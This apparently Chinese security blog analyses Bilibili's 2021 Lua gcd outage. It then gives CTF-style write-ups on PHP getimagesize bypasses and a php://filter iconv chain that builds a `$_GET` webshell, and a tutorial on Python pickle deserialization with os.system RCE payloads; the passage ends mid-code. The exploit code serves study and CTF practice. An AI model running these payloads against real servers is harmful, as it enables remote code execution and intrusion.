分类: WEB
诡计多端的’0′ | B站事故报告
2021年的7月13日,正在看小姐姐跳舞的fake_soul突然发现B站视频卡住了,急得他马上提上了裤子。
过了一会,每个群里传来不一样的瓜:“B站大楼爆炸了”、“上海云服务中心起火”、“小破站程序员因不满工作删库跑路”。。。
说实话很惭愧,B站的事故报告在今年7月就发布了,被cue了好几个月装死,到现在才去认真看,呜呜呜~~~
看了看网上很多师傅发出来的分析,“震惊!B站崩溃竟是因为诡计多端的'0'!”
诡计多端的0
我们直接步入正题,事故报告已经发出了关键代码:
local _gcd
_gcd = function(a,b)
if b == 0 then
return a
end
return _gcd(b,a % b)
end
- 这是一段嵌入在B站Nginx服务器的 lua 代码(一种轻量级脚本语言,有着更简单的 C API 所以很容易嵌入应用中,来实现可配置性、可扩展性)
结合事故报告,lua有几个特点:
-
Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。
-
Lua在对一个数字字符串进行算术操作时,会尝试将这个数字字符串转成一个数字。
-
在Lua语言中,数学运算n % 0的结果是nan (Not A Number) 。
好了,学过一点点编程的家人应该能明白,这个地方的_gcd
函数,是在利用辗转相除来计算a
与b
的最大公约数
举个例子,我们对a
和b
赋值,令a = 12
b=8
,按照上面的逻辑,a 除以 b,余数是4,不为0,进入后面的递归处理, a=8
,b=4
,此时再进行相除,余数为0,说明4是a
和b
的最大公约数。
这样的话就满足了判定条件:
if b == 0 then
return a
end
就结束了运算
乍一看,很合理啊很合理🤔因为也不是什么很复杂运算~
但问题就出在这里,上面我们有提到:
Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。
所以,如何打破这个运算,让其崩溃呢?
结合上面这句话,有聪明的同学已经猜到了:我们让b
为字符串"0",这样不就好了吗?
这里我们再看一下这个lua函数,解释下为什么:
local _gcd
_gcd = function(a,b)
if b == 0 then
return a
end
return _gcd(b,a % b)
end
- 当b为字符串的"0",由于
_gcd
函数没有对b
的类型进行校验,所以_gcd
就出现了对 "0" 与 0进行判断,但是此时,"0" != 0
(!=
:不等于),所以进入return _gcd(b,a % b)
。
哎,上面我们说了:在Lua语言中,数学运算n % 0的结果是nan (Not A Number) 。
此时,现在返回结果是_gcd("0",nan)
(b="0"
,a=nan
) _gcd("0",nan)
会再次执行,返回值是_gcd(nan,nan)
(b=nan
,a=nan
)- 此时依旧满足
nan != 0
,所以继续进入return _gcd(b,a % b)
,即_gcd(nan,nan)
,和上一步的流程是重复的,死循环不就出现了嘛
这样,整个流程是不是很清晰了,由于一直陷入死循环,Bilibili的Nginx服务器进程就跑满了,占到了100%,就处理不了其他进程了。。。
好了,那么现在的问题:如何让 b 为字符串格式的 "0" 呢
来自小破站的官方回复:
-
在某种发布模式中,应用的实例权重会短暂的调整为0,此时注册中心返回给SLB的权重是字符串类型的"0"。此发布模式只有生产环境会用到,同时使用的频率极低,在SLB前期灰度过程中未触发此问题。
-
SLB 在
balance_by_lua
阶段,会将共享内存中保存的服务IP、Port、Weight 作为参数传给lua-resty-balancer
模块用于选择upstream server
,在节点weight = "0"
时,balancer
模块中的_gcd
函数收到的入参 b 可能为"0"
。
看不懂是吧,没事,我也没看懂,嘿嘿 😛
时间线
事故发生
2021年7月13日22:52 SRE收到大量服务和域名的接入层不可用报警,客服侧开始收到大量用户反馈B站无法使用,同时内部同学也反馈B站无法打开,甚至APP首页也无法打开。基于报警内容,SRE第一时间怀疑机房、网络、四层LB、七层SLB等基础设施出现问题,紧急发起语音会议,拉各团队相关人员开始紧急处理。
紧急修复
5分钟后,运维同学发现承载全部在线业务的主机房七层SLB的 CPU占用率达到了100% ,无法处理用户请求,排除其他设施后,锁定故障为该层。
22:55 远程在家的相关同学登陆VPN后,无法登陆内网鉴权系统(B站内部系统有统一鉴权,需要先获取登录态后才可登陆其他内部系统,和校园内网一样),导致无法打开内部系统,无法及时查看监控、日志来定位问题。
23:07 远程在家的同学紧急联系负责VPN和内网鉴权系统的同学后,了解可通过绿色通道登录到内网系统。
这个地方我盲猜是有后门(doge)
此时已经过去了 25分钟 ,抢修正式开始。(莫名有点燃是怎么回事🤔)
-
首先,运维同学先热重启了一遍SLB,未恢复;然后尝试拒绝用户流量冷重启SLB,CPU依然100%,还是未恢复。
-
接着,运维发现多活机房SLB请求大量超时,但CPU未过载,正准备重启多活机房SLB时,内部群反应主站服务已恢复。
此时:23:23 距离事故发生已经过去31分钟,这个时候大家可能就遇到了视频是能看,但是部分功能依旧不可用,比如收藏、投币啥的。
官方事故报告在文章最后说到 高可用容灾架构 生效了,其实就是说的这个主站业务恢复。这个架构可以理解为是一种应急预案,就是为了防止这种突发情况发生而设计的。
提上裤子的fake_soul同学很气,问:为什么过去了半个多小时了,这个预警才发挥作用???我裤子不是白脱了吗???
这个其实不怨B站,由于点不开B站大家就开始疯狂上拉刷新,而此时B站的CDN流量回源重试 + 用户重试,直接让B站流量突增4倍以上,连接数突增100倍到了千万级别,多活SLB直接就给整过载了。。。别说架构发挥作用了,就算陈叔叔自己来了也得在这傻楞。。。
23:25 - 23:55 未恢复的业务暂无其他立即有效的止损预案,此时尝试恢复主机房的SLB。
-
我们通过Perf发现SLB CPU热点集中在Lua函数上,怀疑跟最近上线的Lua代码有关,开始尝试回滚最近上线的Lua代码。
-
近期SLB配合安全同学上线了自研Lua版本的WAF,怀疑CPU热点跟此有关,尝试去掉WAF后重启SLB,SLB未恢复。
-
SLB两周前优化了Nginx在balance_by_lua阶段的重试逻辑,避免请求重试时请求到上一次的不可用节点,此处有一个最多10次的循环逻辑,怀疑此处有性能热点,尝试回滚后重启SLB,未恢复。
-
SLB一周前上线灰度了对 HTTP2 协议的支持,尝试去掉 H2 协议相关的配置并重启SLB,未恢复。
新建源站
00:00 SLB运维尝试回滚相关配置依旧无法恢复SLB后,决定重建一组全新的SLB集群,让CDN把故障业务公网流量调度过来,通过流量隔离观察业务能否恢复。
00:20 SLB新集群初始化完成,开始配置四层LB和公网IP。
01:00 SLB新集群初始化和测试全部完成,CDN开始切量。SLB运维继续排查CPU 100%的问题,切量由业务SRE同学协助。
01:18 直播业务流量切换到SLB新集群,直播业务恢复正常。
01:40 主站、电商、漫画、支付等核心业务陆续切换到SLB新集群,业务恢复。
01:50 此时在线业务基本全部恢复
后话
谁能想到,B站运维就两个同学,痛!太痛了!但是这个排查速度真的挺快了,B站还是人才济济的。
后来由于本次事故实在是耽误了太久、太多事儿,因此B站给所有用户补了一天大会员。
有人就在此算了一笔账,这7行代码,让陈叔叔一下亏了大约157500000元。
Living off the Land 2 RCE
白嫖了陈师傅3天的漏洞百出,真香~
看到Y4tacker师傅在陈师傅的知识星球发了一张图片:
<h1>Update profile picture</h1>
<p>
Change you profile picture to any PNG you like!
Just add ?image=LINK to the url.
Your picture will now show on the page!
</p>
<?php
//Get the image
$image_url = $_GET['image'];
$image = file_get_contents($image_url);
//Temporarily save the image
$tmpfile = tmpfile();
fwtite($tmpfile,$image);
$tmpfile_name = stream_get_meta_data($tmpfile)['uri'];
//Make sure the image is really an image
$image_details = getimagesize($tmpfile_name);
if ($image_details) {
saveImage($user_uuid . '.png',$iamge);
echo '<img src="' . $user_uuid . '.png" width=100>';
} else {
echo 'That doesn\'t look loike an image to me!';
}
?>
Y4师傅发出来的时候已经做出了解答。
在这个题目里中,对文件进行检测时使用了getimagesize
函数,如果指定的文件如果不是有效的图像,会返回 false
,返回数据中也有表示文档类型的字段。但是仅仅通过getimagesize
进行验证其实并不安全,有留下webshell的隐患
从getimagesize
函数源码进行分析,重点注意两个函数:php_getimagesize_from_stream
和php_getimagesizetype
php_getimagesize_from_stream
负责最终处理:
static void php_getimagesize_from_stream(php_stream *stream, zval **info, INTERNAL_FUNCTION_PARAMETERS)
{
...
itype = php_getimagetype(stream, NULL TSRMLS_CC);
switch( itype) {
...
}
...
}
static void php_getimagesize_from_any(INTERNAL_FUNCTION_PARAMETERS, int mode) {
...
php_getimagesize_from_stream(stream, info, INTERNAL_FUNCTION_PARAM_PASSTHRU);
php_stream_close(stream);
}
PHP_FUNCTION(getimagesize)
{
php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
php_getimagetype
负责文件类型的判断:
PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
...
if (!memcmp(filetype, php_sig_gif, 3)) {
return IMAGE_FILETYPE_GIF;
} else if (!memcmp(filetype, php_sig_jpg, 3)) {
return IMAGE_FILETYPE_JPEG;
} else if (!memcmp(filetype, php_sig_png, 3)) {
...
}
}
Y4师傅也提到了,在php中getimagesize的校验实现其实就是判断前几个字节,php_sig_gif
php_sig_png
等是在文件头部定义的
PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
(char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
(再借用Y4师傅的图片)
所以往下的绕过方法分为两种
- 在PHP文件的 HEX编码 前添加 PNG 文件的头字节,
保存为php文件然后上传。
<?php
print_r(getimagesize('test.php'));
/*Array
(
[0] => 1885957734
[1] => 1864902971
[2] => 3
[3] => width="1885957734" height="1864902971"
[bits] => 32
[mime] => image/png
)*/
成功读取出来,并且文件也被正常识别为 PNG 文件,虽然宽和高的值都大的有点离谱。
<?php
print_r(token_get_all(file_get_contents('test.php')));
如果显示正常的话你能看到输出数组的第一个元素的解析器代号是 312,通过 token_name 获取到的名称会是 T_INLINE_HTML,也就是说文件头部的信息被当成正常的内嵌的 HTML 代码被忽略掉了。
至于为什么会有一个大的离谱的宽和高,看一下 php_handle_png
函数的实现就能知道,这些信息也是通过读取特定的文件头的位来获取的。
- 编码转换后能符合特定规则+php://filter进行文件读取
巧用编码来绕过,P牛在谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)中编码与解码,利用php base64_decode
解码特性处理死亡exit
就用到了这个知识点,两者有异曲同工之妙,hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)陆队的文章也有很详细的介绍了。
之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx
就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。
再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。
比如convert.iconv.UTF8.CSISO2022KR
,每次这样都会在字符串的首部产生\x1b$)C
,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:
include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"
同理,也可以得到更多的字符,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)wupco师傅基本找出来了所有的数字和字母。
陆队最终利用的是:
<?=`$_GET[0]`;;?>
//PD89YCRfR0VUWzBdYDs7Pz4=
<?php
highlight_file(__FILE__);
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4=";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
// echo $final_payload;
var_dump(file_get_contents($final_payload));
// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
至于需要把$base64_payload
反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR
来生成\x1b$)C
然后进行利用,还不能影响后面已经产生的字符。
至于convert.iconv.UTF8.UTF7
单纯的防止=
的干扰。
个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。
其实,看到这个的时候,感觉有一丝丝的眼熟,今年的羊城杯:
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"])) {
include $file;
}else {
die("Noooo0");
}
在原先的基础上加了一个黑名单,上面的payload加一个url_encode就能通了
Python pickle unserialize summary
pickle 基础
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
类似于我们在 PHP 中的 serialize 和 unserialize,如果 unserialize 的输入可控我们就可能可以进行恶意的攻击。
python 提供了 pickle 和 cPickle 两个库 来进行 pickle 反序列化的支持。
能够被序列化的内容
下列类型可以被打包,都是有自己的指令码的,可以对照一下下面的指令集:
- None、True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可打包对象的集合,包括 tuple、list、set 和 dict
- 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例,这些类的 dict 属性值或
__getstate__()
函数的返回值可以被打包(详情参阅 打包类实例 这一段)。
数据流格式
pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制,比如 JSON 或 XDR(不能表示共享指针)标准;但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。
默认情况下,pickle 格式使用相对紧凑的二进制来存储。如果需要让文件更小,可以高效地 压缩 由 pickle 封存的数据。
pickletools 模块包含了相应的工具用于分析 pickle 生成的数据流。pickletools 源码中包含了对 pickle 协议使用的操作码的大量注释。
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
- v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
- 第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
- v3 版协议是在 Python 3.0 中引入的。 它显式地支持
<span class="pre">bytes</span>
字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。 - v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
- 第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。 请参阅 PEP 574 了解第 5 版协议所带来的改进的详情。
常用方法接口
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
将打包好的对象 obj 写入文件 中,其中 protocol 为 pickling 的协议版本(下同)。
pickle.dumps(obj, protocol=None, *, fix_imports=True)
将 obj 打包以后的对象作为 bytes 类型直接返回。
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从 文件 中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从 data 中读取二进制字节流,将其反序列化为一个对象并返回。
object.__reduce__()
__reduce__()
其实是 object
类中的一个魔术方法,我们可以通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python 要求该方法返回一个 字符串或者元组 。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1
、para2
... 后面再详细解释
指令集 opcode
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
opcode demo
demo
序列化、反序列化的背后通常都是面向对象编程的大概念,我们可以简单写一个类,看一下它的 pickle 序列化的内容
import pickle
class Person(): #类名
def __init__(self):
self.age=18 #属性
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
# b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
我们的序列化内容是一串基于上面提到的操作码的 bytes,我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式
import opcode
import pickletools
opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)
'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ Person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'age'
37: q BINPUT 3
39: K BININT1 18
41: X BINUNICODE 'name'
50: q BINPUT 4
52: X BINUNICODE 'Pickle'
63: q BINPUT 5
65: u SETITEMS (MARK at 28)
66: b BUILD
67: . STOP
highest protocol among opcodes = 2
'''
对照上面的操作码表还是很容易看懂的
Pker
https://github.com/EddieIvan01/pker 也可以使用这个工具来生成,在后续部分操作码被限制的时候某些情况下还是很好用的
漏洞产生原因
用户可控的反序列化入口点。
漏洞利用
在能够传入可控的 pickle.loads 的 data 的大前提下,我们就可以构想出以下几种攻击场景。
操控实例化对象的属性
假设有如下内容限制用户权限:
import pickle
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
假设正常我们以访客登录时会传入如下 pickle 序列化内容
import pickle
class User:
def __init__(self):
self.admin=False
self.guest=True
u = User()
print(pickle.dumps(u))
# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'
'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ User'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'admin'
37: q BINPUT 3
39: \x89 NEWFALSE
40: X BINUNICODE 'guest'
50: q BINPUT 4
52: \x88 NEWTRUE
53: u SETITEMS (MARK at 26)
54: b BUILD
55: . STOP
highest protocol among opcodes = 2
'''
那么我们对登陆时的 \x89
\x88
进行调换,即可得到如下实例化结果:
import opcode
import pickle
import pickletools
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)
fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)
# True False
变量覆盖
我们也可以直接进行变量覆盖,示例
import pickle
import secret
print("secret:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hacker!!!'
db.'''
fake=pickle.loads(opcode)
print("fakesecret:"+fake.secret)
#secret:sp4c1ous
#fakesecret:Hacker!!!
用到的 opcode:
opcode=b'''c__main__
secret
(S'secret' # secret 内的 secret 属性
S'Hacker!!!' # 指定要替换的内容
db.''' # d创建空的dict然后 b 取前一个 Hacker!!! 进行update 这里的具体解释可以看到下面的 b 绕过 R 的部分
RCE
在攻击中我们的目的肯定最终是利用序列化的内容实现我们想要实现的操作,这里以RCE为例进行介绍,基本的构造如下:
c<module>
<callable>
(<args>
tR
填充上内容也就是:
cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))
这样就是一个最基础的 getshell 的构造,这里要回去看一下指令集,看一下这里用到的几种指令码。
其中 c 操作码指向的实际上是一个 self.find_class(modname, name);
可以在源码中找到
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
可以在 load_global
中看到具体的实现,其中的 getattr 是通过 sys.modules 获取变量名的或者模块的,sys.modules
是一个全局字典,我们可以从其中 get 到我们想要的属性,只要 python 启动 sys.modules 就会将模块导入字典中。
import sys
import secret
print(getattr(sys.modules['__main__'],'secret'))
# <module 'secret' from 'c:\\Users\\sp4c1ous\\Desktop\\secret.py'>
这样的 opcode 被我们 pickle.loads 的话就会导致 RCE
我们还可以重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令
import pickle
import os
class Test(object):
def __reduce__(self):
return (os.system,('calc',))
print(pickle.dumps(Test(), protocol=0))
# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
利用 pickle 的 __reduce__
可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',))
的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )
但是这种指令码在现在的 CTF 中已经很难生效了,通常都会对指令码进行过滤,需要我们结合对整个过程的理解来进行绕过。
在pickle中,和函数执行的字节码有三个:R
、i
、o
,R
已经说过了,我们具体再看看 i
和 o
-
i
其实就相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)INST = b'i' # build & push class instance GLOBAL = b'c' # push self.find_class(modname, name); 2 string args OBJ = b'o' # build & push class instance
示例:
python opcode=b'''(S'calc' ios system .'''
-
o
:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)python opcode=b'''(cos system S'calc' o.'''
注意:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为
os.system()
,在部分Linux下则为posix.system()
同时,我们可以发现pickle.loads
是可以自动 import 的,这一点为我们的攻击提供了方便。
攻击情景
我们可以看到 opcode 都会以 .
结束,我们在程序正常的 opcode 之后去掉 .
再拼接上我们的内容即可命令执行
import opcode
import pickle
import pickletools
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
